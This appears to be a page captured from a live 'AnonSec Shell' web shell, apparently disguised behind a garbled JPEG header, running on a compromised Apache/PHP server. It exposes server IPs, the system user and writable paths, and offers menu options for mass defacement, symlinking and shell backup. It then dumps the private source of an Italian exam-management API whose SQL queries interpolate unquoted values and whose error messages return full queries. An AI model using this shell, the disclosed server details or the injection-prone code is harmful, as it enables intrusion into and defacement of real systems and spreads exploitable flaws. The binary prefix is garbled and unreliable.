JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/sapere/app/components/supervisori/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/sapere/app/components/supervisori/api.class.php
<?php
class APISupervisori extends API
{
	
	protected $db;

	public function __construct()
	{
		$this->db = new DBLink(FILE_INI_MDADB);
		$this->db->SafeFetch("SET CHARACTER SET utf8 ");

	}  

	/* ---------------------------------------- */
	/* ----------------- ACL ------------------ */
	/* ---------------------------------------- */
	private function checkUserSupervisori($id_user) {
		$id_centro = $_SESSION['userdata']['id_centro'];
		$query = "SELECT * FROM user WHERE id_user = $id_user AND id_centro = $id_centro;";
		$res= $this->db->SafeFetchOne($query);	
		if(!$res['email']){
			return $this->printMessage( $this->responseMessage([], true) );
		};
	}

	private function checkCorsoCentro($id_corso) {
		$id_centro = $_SESSION['userdata']['id_centro'];
		$query = "SELECT * FROM centri_corsi_assegnati WHERE id_corso = $id_corso AND id_centro = $id_centro;";
		$res= $this->db->SafeFetchOne($query);	
		if(!$res['email']){
			return $this->printMessage( $this->responseMessage([], true) );
		};
	}
	
	function checkAnagrafica($id_user){
		$query = "SELECT * FROM supervisori_user_info WHERE id_user = $id_user"; 
		$res= $this->db->SafeFetchOne($query);	
		if($res && $res['nome'] != "" && $res['cognome'] != ""){
			return true;
		}else{
			return false;
		}
	}
	
	
	/* ---------------------------------------- */
	/* -------------- ANAGRAFICA -------------- */
	/* ---------------------------------------- */
	
	function getMyUserInfo() {
		// print_r($_SESSION['userdata']);
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "SELECT * FROM supervisori_user_info WHERE id_user = $id_user;";
		$res= $this->db->SafeFetchOne($query);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function updateMyUserInfo($_id_user_info, $_id_user, $_nome, $_cognome, $_cdf, $_indirizzo, $_nazionalita, $_nazione_nascita, $_datanascita, $_comune_nascita, $_titolo_studio, $_citta, $_cap, $_telefono, $_cellulare, $_marketing) {
		$insert_id_user = $_SESSION['userdata']['id_user'];
		$id_user_info = $this->db->quoteInt($_id_user_info);
		$marketing = $this->db->quoteInt($_marketing);
		$id_user = $this->db->quoteInt($_id_user);
		$nome = $this->db->quoteText($_nome);
		$cognome = $this->db->quoteText($_cognome);
		$cdf = $this->db->quoteText($_cdf);
		$cap = $this->db->quoteText($_cap);
		$indirizzo = $this->db->quoteText($_indirizzo);
		$nazionalita = $this->db->quoteText($_nazionalita);
		$nazione_nascita = $this->db->quoteText($_nazione_nascita);
		if($_datanascita){
			$__start = explode("T",$_datanascita);
			$date_s = $__start[0];
			$datanascita = $this->db->quoteText($date_s);
		}else{
			$datanascita = "NULL";		
		}	
		$comune_nascita = $this->db->quoteText($_comune_nascita);
		$titolo_studio = $this->db->quoteText($_titolo_studio);
		$citta = $this->db->quoteText($_citta);
		$cap = $this->db->quoteText($_cap);
		$telefono = $this->db->quoteText($_telefono);
		$cellulare = $this->db->quoteText($_cellulare);
		
		$query = "UPDATE supervisori_user_info SET "
				. "nome = $nome, "  
				. "cognome = $cognome, "  
				. "cdf = $cdf, "  
				. "cap = $cap, "  
				. "indirizzo = $indirizzo, "  
				. "nazionalita = $nazionalita, "  
				. "nazione_nascita = $nazione_nascita, "  
				. "datanascita = $datanascita, "  
				. "comune_nascita = $comune_nascita, "  
				. "titolo_studio = $titolo_studio, "  
				. "citta = $citta, "  
				. "telefono = $telefono, "  
				. "cellulare = $cellulare, "  
				. "marketing = $marketing "  
				. "WHERE id_user_info = $id_user_info AND id_user = $id_user;";
		
		if ($this->db->SafeExec($query)) {
        	return $this->printMessage( $this->responseMessage("Record aggiornato con successo.", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	function updateAvatarLocation($files) {
		$id_user = $_SESSION['userdata']['id_user'];
		$_nome_file = $this->putFileS3Private("user_avatar", $id_user, $files[0]);
		$nome_file = end(explode("/",$_nome_file));
		$query = "UPDATE ".$this->getInfoTableName()." SET "
				. " avatar_location = " . $this->db->quoteText($nome_file) 
				. " WHERE id_user = " . $this->db->quoteInt($id_user);
		if ($this->db->SafeExec($query)) {
        	$this->getFile("user_avatar",$id_user,$nome_file);
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}
	function resetAvatarLocation() {
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "UPDATE ".$this->getInfoTableName()." SET "
				. " avatar_location = NULL "  
				. " WHERE id_user = " . $this->db->quoteInt($id_user);
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage(null, true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	function getAvatarLocation() {
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "SELECT avatar_location from ".$this->getInfoTableName().
				 " WHERE id_user = " . $this->db->quoteInt($id_user);
		$_nome_file = $this->db->SafeFetchOne($query);
		if ($_nome_file['avatar_location']) {
        	$this->getFile("user_avatar",$id_user,$_nome_file['avatar_location']);
    	} else {
			return $this->printMessage( $this->responseMessage(null, true) );
		}
	}
	
	/* ---------------------------------------- */
	/* ---------- UTENTI DEL CENTRO ----------- */
	/* ---------------------------------------- */
	
	function getUtenti() {
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$query = "SELECT user.id_user, user.user_type_id, user.id_centro, user.email, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.telefono, studenti_user_info.cellulare, studenti_user_info.avatar_location, 
		 centri_user_info.denominazione as affiliato_nome, centri_user_info.id_user AS affiliato_id_user, 
		GROUP_CONCAT(corso.id_corso SEPARATOR ', ') AS corsi_id, GROUP_CONCAT(corso.titolo SEPARATOR ', ') AS corsi_titolo, 
		GROUP_CONCAT(corso_esame.id_esame SEPARATOR ', ') AS esami_id, GROUP_CONCAT(corso_esame.titolo SEPARATOR ', ') AS esami_titolo 
		FROM user 
		LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user 
		LEFT JOIN centri_user_info ON user.id_centro = centri_user_info.id_user 
		LEFT JOIN iscrizioni_studenti_corsi on iscrizioni_studenti_corsi.id_user = user.id_user 
		LEFT JOIN corso on corso.id_corso = iscrizioni_studenti_corsi.id_corso 
		LEFT JOIN iscrizioni_studenti_esami on iscrizioni_studenti_esami.id_user = user.id_user 
		LEFT JOIN corso_esame on corso_esame.id_esame = iscrizioni_studenti_esami.id_esame 
		WHERE user.user_type_id=1 AND user.id_centro = $id_centro AND user.deleted = 0
		GROUP BY user.id_user, user.user_type_id, user.id_centro, user.email, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.telefono, studenti_user_info.cellulare, 
		centri_user_info.denominazione, centri_user_info.id_user";
		$res= $this->db->SafeFetch($query);	
		for ($i=0; $i < count($res) ; $i++) { 
			$res[$i]['corsi_id'] = explode(", ", $res[$i]['corsi_id']);
			$res[$i]['corsi_titolo'] = explode(", ", $res[$i]['corsi_titolo']);
			$res[$i]['esami_id'] = explode(", ", $res[$i]['esami_id']);
			$res[$i]['esami_titolo'] = explode(", ", $res[$i]['esami_titolo']);
			//elimino duplicati
			$res[$i]['corsi_id'] = array_unique($res[$i]['corsi_id']);
			$res[$i]['corsi_titolo'] = array_unique($res[$i]['corsi_titolo']);
			$res[$i]['esami_id'] = array_unique($res[$i]['esami_id']);
			$res[$i]['esami_titolo'] = array_unique($res[$i]['esami_titolo']);
			//join
			$res[$i]['corsi_id'] = implode(", ", $res[$i]['corsi_id']);
			$res[$i]['corsi_titolo'] = implode(", ", $res[$i]['corsi_titolo']);
			$res[$i]['esami_id'] = implode(", ", $res[$i]['esami_id']);
			$res[$i]['esami_titolo'] = implode(", ", $res[$i]['esami_titolo']);
			
			
		}
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	
	function getUtente($_id_user) {
		$this->checkUserSupervisori($_id_user);
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT user.id_user, user.user_type_id, user.id_centro, user.email, user.create_time, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.cap, studenti_user_info.avatar_location, studenti_user_info.telefono, studenti_user_info.cellulare, studenti_user_info.datanascita, studenti_user_info.titolo_studio, studenti_user_info.indirizzo, studenti_user_info.citta, studenti_user_info.nazione_nascita, studenti_user_info.comune_nascita, studenti_user_info.datanascita, studenti_user_info.nazionalita, 
		centri_user_info.denominazione as affiliato_nome, centri_user_info.id_user AS affiliato_id_user, 
		GROUP_CONCAT(corso.id_corso SEPARATOR ', ') AS corsi_id, GROUP_CONCAT(corso.titolo SEPARATOR ', ') AS corsi_titolo 
		FROM user 
		LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user 
		LEFT JOIN centri_user_info ON user.id_centro = centri_user_info.id_user 
		LEFT JOIN iscrizioni_studenti_corsi on iscrizioni_studenti_corsi.id_user = user.id_user 
		LEFT JOIN corso on corso.id_corso = iscrizioni_studenti_corsi.id_corso 
		WHERE user.user_type_id=1 AND user.id_user = $id_user 
		GROUP BY user.id_user, user.user_type_id, user.id_centro, user.email, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.telefono, studenti_user_info.cellulare, 
		centri_user_info.denominazione, centri_user_info.id_user";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	

	function getIscrizioniCorsiUtente($_id_user) {
		$this->checkUserSupervisori($_id_user);
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT DISTINCT iscrizioni_studenti_corsi.id_iscrizione, corso.titolo, corso.id_corso, iscrizioni_studenti_corsi.id_edizione, iscrizioni_studenti_corsi.data_seguito, iscrizioni_studenti_corsi.codice_attestato, iscrizioni_studenti_corsi.file_att, corso.categoria, corso.durata, corso.erogazione, iscrizioni_studenti_corsi.user_insert_id, iscrizioni_studenti_corsi.create_time, centri_user_info.denominazione as affiliato_nome, centri_user_info.id_user as affiliato_user_id,  
		corso_edizione.id_edizione 
		FROM iscrizioni_studenti_corsi
		LEFT JOIN corso ON iscrizioni_studenti_corsi.id_corso = corso.id_corso  
		LEFT JOIN centri_user_info ON iscrizioni_studenti_corsi.user_insert_id = centri_user_info.id_user
		LEFT JOIN corso_lezione_studente ON corso_lezione_studente.id_corso = iscrizioni_studenti_corsi.id_corso 
		LEFT JOIN corso_edizione ON corso_edizione.id_edizione = iscrizioni_studenti_corsi.id_edizione 
		WHERE iscrizioni_studenti_corsi.id_user = $id_user
		"; 
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getIscrizioniSessioniUtente($_id_user) {
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT DISTINCT iscrizioni_studenti_esami.id_iscrizione, iscrizioni_studenti_esami.id_sessione, iscrizioni_studenti_esami.id_user, corso_esame.titolo, corso_esame.id_esame, corso_esame.categoria, iscrizioni_studenti_esami.user_insert_id, iscrizioni_studenti_esami.esito, iscrizioni_studenti_esami.data_esito, iscrizioni_studenti_esami.codice_certificato, iscrizioni_studenti_esami.file_cert, centri_user_info.denominazione as affiliato_nome, centri_user_info.id_user as affiliato_user_id
		, sessione.data_inizio_sessione, sessione.data_fine_sessione, sessione.id_supervisore, sessione.data_chiusura_supervisore, sessione.documento_firme_location, supervisori_user_info.nome as supervisore_nome, supervisori_user_info.cognome as supervisore_cognome, sessione.password 
		FROM iscrizioni_studenti_esami 
		LEFT JOIN sessione ON sessione.id_sessione = iscrizioni_studenti_esami.id_sessione 
		LEFT JOIN corso_esame ON iscrizioni_studenti_esami.id_esame = corso_esame.id_esame
		LEFT JOIN centri_user_info ON iscrizioni_studenti_esami.user_insert_id = centri_user_info.id_user
		LEFT JOIN supervisori_user_info ON supervisori_user_info.id_user = sessione.id_supervisore
		WHERE iscrizioni_studenti_esami.id_user = $id_user ORDER BY sessione.data_inizio_sessione"; 
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getFilesSessione($id_sessione) {
		
		$res = $this->getListaFilePrivate('sessione', $id_sessione);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getCorsi() {
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$query = "SELECT c.id_corso, c.avatar_location, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari,  c.contenuti, c.caratteristiche,  c.durata, c.tipologia, c.erogazione, 
		(SELECT COUNT(*) FROM iscrizioni_studenti_corsi AS sub_c JOIN user AS u ON sub_c.id_user = u.id_user WHERE sub_c.id_corso = c.id_corso AND u.id_centro = $id_centro) AS totale_iscritti,
		(SELECT COUNT(*) FROM corso_edizione AS sub_u WHERE sub_u.id_corso = c.id_corso and sub_u.id_centro = $id_centro) AS totale_sessioni  
		FROM centri_corsi_assegnati AS cc
		LEFT JOIN corso AS c ON cc.id_corso = c.id_corso where c.attivo=1 AND cc.id_centro = $id_centro";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	function getCorso($_id_corso) {
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT c.id_corso, c.insert_time,	c.avatar_location, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari,  c.contenuti, c.caratteristiche,  c.durata, c.tipologia, c.erogazione 
		FROM centri_corsi_assegnati AS cc
		LEFT JOIN corso AS c ON cc.id_corso = c.id_corso where c.attivo=1 AND cc.id_centro = $id_centro AND c.id_corso = $id_corso";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getUtentiCorso($_id_corso) {
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);

		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.telefono, studenti_user_info.cellulare, studenti_user_info.avatar_location
		FROM iscrizioni_studenti_corsi 
		LEFT JOIN user ON user.id_user = iscrizioni_studenti_corsi.id_user 
		LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user 
		LEFT JOIN corso on corso.id_corso = iscrizioni_studenti_corsi.id_corso 
		WHERE user.user_type_id=1 AND user.id_centro = $id_centro AND corso.id_corso = $id_corso AND user.deleted = 0";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	
	function getFilesCorso($id_corso) {
		$this->checkCorsoCentro($id_corso);
		$res = $this->getListaFilePrivate('corso', $id_corso);
		return $this->printMessage( $this->responseMessage($res, true) );
	}


	function uploadFilesUtente($_id_user, $files){
		

		for ($i=0; $i < count($files); $i++) { 
			$ret = $this->putFileS3Private("user", $_id_user, $files[$i]);
		}
		if($ret){
			return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
		}else{
			return $this->printMessage( $this->responseMessage("Errore nel carimento del file",true) );
		}
		
	}

	function uploadFileSessione($_id_sessione, $files){
		

		for ($i=0; $i < count($files); $i++) { 
			$ret = $this->putFileS3Private("sessione", $_id_sessione, $files[$i]);
		}
		if($ret){
			return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
		}else{
			return $this->printMessage( $this->responseMessage("Errore nel carimento del file",true) );
		}
		
	}

	function getFileSessione($id_sessione, $filename) {
		$this->getFile("sessione",$id_sessione,$filename);
	}
	
	function getUserAvatarLocation($id_user) {
		$this->checkUserSupervisori($id_user);
		$res = $this->getListaFilePrivate('user_avatar', $id_user);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getFilesUtente($id_user) {
		$this->checkUserSupervisori($id_user);
		$res = $this->getListaFilePrivate('user', $id_user);
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	
	function getFileUtente($id_user, $filename) {
		$this->checkUserSupervisori($id_user);
		$this->getFile("user",$id_user,$filename);
	}
	function cancellaFileUtente($id_user, $filename) {
		$this->checkUserSupervisori($id_user);
		$this->deleteFileS3Private("user",$id_user,$filename);
	}
	function cancellaFileSessione($id_sessione, $filename) {
		$this->deleteFileS3Private("sessione",$id_sessione,$filename);
	}
	
	// function deleteUtente($_id_user){
	// 	$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
	// 	$id_user =  $this->db->quoteInt($_id_user);
	// 	$query = "UPDATE user SET "
	// 			. " deleted = 1 "  
	// 			. " WHERE user.id_centro = $id_centro AND user.id_user = $id_user;";
	// 	if ($this->db->SafeExec($query)) {
	// 		return $this->printMessage( $this->responseMessage("Utente eliminato con successo!", true) );
    // 	} else {
	// 		return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
	// 	}
	// }

	

	function insertUtente($_nome, $_cognome, $_cdf, $_email, $_cellulare, $files){

		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$nome =  $this->db->quoteText($_nome);
		$cognome =  $this->db->quoteText($_cognome);
		$cdf =  $this->db->quoteText($_cdf);
		$email =  $this->db->quoteText($_email);
		$cellulare =  $this->db->quoteText($_cellulare);
		$pwd = $this->generatePassword($_email);
		$password =  $this->db->quoteText(md5($pwd));
		
		$query = "INSERT INTO user (user_type_id, id_centro, email, password, created_by) VALUES(1, $id_centro, $email, $password, $id_centro);";
		
		$res= $this->db->SafeInsert($query);	
		if($res){		
			//carico files
			$check = false;
			for ($i=0; $i < count($files); $i++) { 
				if(!$this->putFileS3Private("user", $res, $files[$i]) && !$check){
					$check = true;
				}
			}
			//setto profilo
			$id_user = $this->db->quoteInt($res);
			$query_profile = "INSERT INTO studenti_user_info (id_user, nome, cognome, cdf, cellulare) VALUES($id_user, $nome, $cognome, $cdf, $cellulare);";
			$profile_res= $this->db->SafeInsert($query_profile);	
			if($profile_res){		
				if($check){
					return $this->printMessage( $this->responseMessage("Utente inserito con successo, verificare il corretto caricamento dei files!", true) );
				}else{
					return $this->printMessage( $this->responseMessage("Utente inserito con successo!", true) );
				}
				
			}else{
				return $this->printMessage( $this->responseMessage("Utente non inserito correttamente, si prega di cancellarlo e inserirlo nuovamente!", false) );
			}
		}else{
			return $this->printMessage( $this->responseMessage("Utente non inserito, sembra che l'email sia presente nel sistema, prova ad utilizzane un'altra!", false) );
		}
	}
	/* ---------------------------------------- */
	/* ------- SUPERVISORI DEL CENTRO --------- */
	/* ---------------------------------------- */
	
	function getSupervisori() {
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$query = "SELECT user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		supervisori_user_info.id_user_info, supervisori_user_info.nome, supervisori_user_info.cognome, supervisori_user_info.cdf, supervisori_user_info.telefono, supervisori_user_info.cellulare, supervisori_user_info.avatar_location, 
		COUNT(sessione.id_supervisore) AS totale_sessioni
		FROM user 
		LEFT JOIN supervisori_user_info ON user.id_user = supervisori_user_info.id_user 
		LEFT JOIN sessione ON sessione.id_supervisore = user.id_user
		WHERE user.user_type_id=4 AND user.id_centro = $id_centro AND user.deleted = 0
		GROUP BY  user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		supervisori_user_info.id_user_info, supervisori_user_info.nome, supervisori_user_info.cognome, supervisori_user_info.cdf, supervisori_user_info.telefono, supervisori_user_info.cellulare, supervisori_user_info.avatar_location;";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}


	/* ---------------------------------------- */
	/* -------- SESSIONI ---------- */
	/* ---------------------------------------- */
	
	function getSessioni() {
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$query = "SELECT *  
		FROM sessione JOIN corso_esame ON sessione.id_esame = corso_esame.id_esame where sessione.deleted = 0 and corso_esame.attivo=1 and sessione.id_centro = $id_centro";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getSessione($_id_sessione) {
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_sessione = $this->db->quoteInt($_id_sessione);
		$query = "SELECT *  
		FROM sessione JOIN corso_esame ON sessione.id_esame = corso_esame.id_esame JOIN supervisori_user_info ON supervisori_user_info.id_user = sessione.id_supervisore where sessione.deleted = 0 and corso_esame.attivo=1 and sessione.id_centro = $id_centro and sessione.id_sessione = $id_sessione";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getSessioneUtenti($_id_sessione) {
		$id_sessione = $this->db->quoteInt($_id_sessione);
		$query = "SELECT user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.telefono, studenti_user_info.cellulare, studenti_user_info.avatar_location,
		iscrizioni_studenti_sessioni.esito, iscrizioni_studenti_sessioni.durata, iscrizioni_studenti_sessioni.tentativi, iscrizioni_studenti_sessioni.invalidato, iscrizioni_studenti_sessioni.data_esito, iscrizioni_studenti_sessioni.create_time, iscrizioni_studenti_sessioni.durata, iscrizioni_studenti_sessioni.tentativi, iscrizioni_studenti_sessioni.id_iscrizione, iscrizioni_studenti_sessioni.invalidato 
		FROM user 
		LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user 
		LEFT JOIN iscrizioni_studenti_sessioni on iscrizioni_studenti_sessioni.id_user = user.id_user 
		WHERE user.user_type_id=1 AND user.deleted = 0 AND iscrizioni_studenti_sessioni.id_sessione = $id_sessione";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	
	function inserisciSessione($_id_supervisore, $_id_corso, $_note, $_start, $_end){
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_supervisore = $this->db->quoteInt($_id_supervisore);
		$id_corso = $this->db->quoteInt($_id_corso);
		$note = $this->db->quoteText($_note);
		$__start = explode("T",$_start);
		$date_s = $__start[0];
		$time_s = explode(".",$__start[1])[0];
		$start = $this->db->quoteText($date_s." ".$time_s);
		$__end = explode("T",$_end);
		$date_e = $__end[0];
		$time_e = explode(".",$__end[1])[0];
		$end = $this->db->quoteText($date_e." ".$time_e);
		$pwd = $this->generatePassword($id_centro);
		$password = $this->db->quoteText($pwd);
		$q = "INSERT INTO sessione (id_supervisore, id_esame, note, data_inizio_sessione, data_fine_sessione, id_centro, password) VALUES($id_supervisore, $id_corso, $note, $start, $end, $id_centro, $password);";
		if ($this->db->SafeInsert($q)){
        	return $this->printMessage( $this->responseMessage("Sessione inserita con successo.", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!".$q, false) );
		}
	}

	function modificaSessione($_id_sessione, $_id_supervisore, $_id_corso, $_note, $_start, $_end, $email){
		//todo: ricorda per l'associato veficare che la data attuale non si successiva alla data di inizio
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_sessione = $this->db->quoteInt($_id_sessione);
		$id_supervisore = $this->db->quoteInt($_id_supervisore);
		$id_corso = $this->db->quoteInt($_id_corso);
		$note = $this->db->quoteText($_note);
		$__start = explode("T",$_start);
		$date_s = $__start[0];
		$time_s = explode(".",$__start[1])[0];
		$start = $this->db->quoteText($date_s." ".$time_s);
		$__end = explode("T",$_end);
		$date_e = $__end[0];
		$time_e = explode(".",$__end[1])[0];
		$end = $this->db->quoteText($date_e." ".$time_e);
		$q = "UPDATE sessione SET "
				. "id_supervisore = $id_supervisore, "  
				. "id_esame = $id_corso, "  
				. "data_inizio_sessione = $start, "  
				. "data_fine_sessione = $end, "  
				. "note = $note "  
				. "WHERE sessione.id_centro = $id_centro AND sessione.id_sessione = $id_sessione;";
		if ($this->db->SafeExec($q)) {
			if($email){
				//todo: inserire invio email a tutti gli iscrittti
				return $this->printMessage( $this->responseMessage("Sessione modificata con successo.", true) );
			}else{
				return $this->printMessage( $this->responseMessage("Sessione modificata con successo.", true) );
			}
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!".$q, false) );
		}
	}

	function deleteSessione($_id_sessione){
		//todo: ricorda per l'associato veficare che la data attuale non si successiva alla data di inizio
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_sessione =  $this->db->quoteInt($_id_sessione);
		$query ="UPDATE sessione SET "
				. " deleted = 1 "  
				. " WHERE sessione.id_centro = $id_centro AND sessione.id_sessione = $id_sessione;";
		if ($this->db->SafeExec($query)) {
			//todo: cancellare le iscrizioni alla sessione degli studenti e inviare email
			return $this->printMessage( $this->responseMessage("Sessione eliminata con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	/* ---------------------------------------- */
	/* --------------- DASHBOARD--------------- */
	/* ---------------------------------------- */
	
	function getHomeTopCards() {
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_supervisore =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
		// $query = "SELECT COUNT(*) AS numero_ordini FROM centri_ordini WHERE id_user = $id_centro AND id_user_affiliato = $id_user_affiliato AND prezzo < 0;"; 
		// $numero_ordini= $this->db->SafeFetchOne($query);	
		//$query = "SELECT SUM(centri_ordini.prezzo) AS totale_acquisti FROM centri_ordini WHERE centri_ordini.id_user = $id_centro AND prezzo > 0;"; 
		$query = "SELECT COUNT(*) AS numero_utenti FROM sessione WHERE id_supervisore = $id_supervisore";// AND prezzo < 0;"; 
		$numero_utenti= $this->db->SafeFetchOne($query);	
		// $query = "SELECT SUM(centri_ordini.prezzo) AS saldo FROM centri_ordini WHERE centri_ordini.id_user = $id_centro";// AND prezzo < 0;"; 
		// $saldo= $this->db->SafeFetchOne($query);	
		$toRet = [ "numero_utenti"=>$numero_utenti['numero_utenti']];//, "saldo"=>$saldo['saldo'] ];
		return $this->printMessage( $this->responseMessage($toRet, true) );
	}

	function getHomeProfileExpance() {
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$toRet = ["affiliati"=>[]];
		for ($k=0; $k < 12; $k++) { 
			$toRet['affiliati'][$k]=0;
		}


		$query = "SELECT YEAR(create_time) AS anno, MONTH(create_time) AS mese,	COUNT(*) AS numero_utenti FROM user
					WHERE id_centro = $id_centro AND YEAR(create_time) = YEAR(CURDATE())	GROUP BY YEAR(create_time), MONTH(create_time) ORDER BY mese;"; 
